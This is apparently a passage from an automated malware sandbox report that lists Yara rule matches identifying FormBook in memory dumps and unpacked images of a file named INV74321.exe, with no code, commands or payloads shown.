Source: Yara match	File source: 00000008.00000002.472051728.00000000030B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.257352957.00000000009A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.473219825.0000000003600000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.215550153.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 1.1.INV74321.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV74321.exe.29a0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV74321.exe.29a0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.INV74321.exe.400000.0.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Source: Yara match	File source: 00000000.00000002.223286831.00000000029A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.257156250.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.473119363.00000000035D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.257388268.00000000009D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.472051728.00000000030B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.257352957.00000000009A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.473219825.0000000003600000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.215550153.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 1.1.INV74321.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV74321.exe.29a0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV74321.exe.29a0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.INV74321.exe.400000.0.unpack, type: UNPACKEDPE